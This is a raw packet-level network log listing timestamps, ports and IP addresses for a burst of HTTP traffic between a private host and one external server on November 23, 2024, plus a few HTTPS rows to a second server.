Nov 23, 2024 20:23:18.856086016 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.856139898 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.856221914 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.856271982 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.861830950 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.861882925 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.861913919 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.861964941 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.867571115 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.867625952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.867685080 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.867732048 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.873312950 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.873385906 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.905993938 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.906056881 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.906135082 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.906188011 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.908615112 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.908667088 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.908689976 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.908947945 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.914176941 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.914254904 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.914467096 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.914516926 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.986382961 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.986438990 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.986514091 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.989150047 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.989326954 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.989381075 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:18.994786024 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.994904995 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:18.994975090 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.000544071 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.000650883 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.000727892 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.005429983 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.005532980 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.005631924 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.007510900 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.007601023 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.007729053 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.009517908 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.009529114 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.009648085 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.009696960 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.011559963 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.011646986 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.011699915 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.013773918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.013936996 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.013984919 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.015711069 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.015785933 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.015825987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.017524004 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.017819881 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.017904997 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.017956972 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.019831896 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.019980907 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.020032883 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.021884918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.022007942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.022059917 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.023948908 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.024000883 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.024096012 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.025511026 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.025980949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.026119947 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.026168108 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.028114080 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.028189898 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.028229952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.030458927 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.030592918 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.030648947 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.032219887 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.032268047 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.032330036 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.033510923 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.034254074 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.034358978 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.034410954 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.036319017 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.036473036 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.036521912 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.038384914 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.038528919 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.038578033 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.040443897 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.040643930 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.040693045 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.042550087 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.042645931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.042694092 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.044548035 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.044589996 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.044687033 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.045517921 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.046617031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.046664953 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.046755075 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.046816111 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.048672915 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.048718929 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.048806906 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.049514055 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.050751925 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.050859928 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.050908089 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.052838087 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.052896976 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.052948952 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.054877996 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.054995060 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.055042982 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.056948900 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.057014942 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.057066917 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.057511091 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.059046030 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.059096098 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.059113979 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.059158087 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.061234951 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.061285019 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.061359882 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.061414957 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.080080032 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.080363989 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.081693888 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.081702948 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.082031012 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.086637020 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.086654902 CET	49784	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:19.086721897 CET	443	49784	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:19.107304096 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.107338905 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.107429028 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.108293056 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.108376980 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.108437061 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.110328913 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.110515118 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.110577106 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.112411976 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.112471104 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.124842882 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.124974012 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.125047922 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.125741005 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.125808001 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.125866890 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.127259016 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.127329111 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.127376080 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.129333019 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.129405975 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.129419088 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.129513025 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.131453991 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.131598949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.131654978 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.133435965 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.133497953 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.133513927 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.135632038 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.135648012 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.135694981 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.135729074 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.137562990 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.137756109 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.137814045 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.139652014 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.139724970 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.139734030 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.139776945 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.141706944 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.141762018 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.141859055 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.142040014 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.143750906 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.143799067 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.143943071 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.143999100 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.153676033 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.153703928 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.153743982 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.153778076 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.154437065 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.154584885 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.154633999 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.156450987 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.156656027 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.156656027 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.156699896 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.158565044 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.158658981 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.158778906 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.158881903 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.160593033 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.160674095 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.160758972 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.162659883 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.162794113 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.162847996 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.164750099 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.164825916 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.164892912 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.166785002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.166965961 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.167035103 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.168824911 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.168943882 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.169002056 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.170883894 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.171005964 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.171098948 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.172940969 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.172992945 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.173048973 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.173511982 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.175115108 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.175169945 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.175173044 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.175220966 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.177104950 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.177217007 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.177270889 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.179124117 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.179272890 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.179368973 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.313589096 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.313658953 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.313729048 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.314124107 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.314260006 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.314311981 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.316297054 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.316348076 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.316385984 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.316622972 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.318273067 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.318416119 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.318464994 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.319668055 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.319786072 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.319833994 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.321017981 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.321067095 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.321125031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.321511030 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.322416067 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.322541952 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.322592020 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.323791981 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.323920965 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.323967934 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.325268030 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.325325966 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.325392008 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.325510025 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.326605082 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.326649904 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.326713085 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.326759100 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.327981949 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.328027964 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.328071117 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.328114986 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.329344034 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.329442024 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.329489946 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.330714941 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.330832958 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.330883980 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.332098007 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.332225084 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.332293034 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.333477020 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.333637953 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.333693027 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.334876060 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.334920883 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.334995031 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.336258888 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.336313963 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.336404085 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.337516069 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.337677002 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.337804079 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.337852001 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.339063883 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.339231968 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.339281082 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.340503931 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.340548038 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.340624094 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.341847897 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.341900110 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.341928005 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.343213081 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.343264103 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.343303919 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.344611883 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.344655991 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.344702005 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.344747066 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.345998049 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.346074104 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.346121073 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.347349882 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.347476959 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.347522020 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.348747969 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.348793983 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.348856926 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.349509001 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.350114107 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.350219011 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.350263119 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.351501942 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.351639986 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.351685047 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.352894068 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.353020906 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.353070021 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.354295015 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.354418039 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.354470015 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.355856895 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.355901003 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.356822014 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.357086897 CET	80	49783	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:19.357135057 CET	49783	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:19.357264996 CET	80	49783	185.215.113.16	192.168.2.4
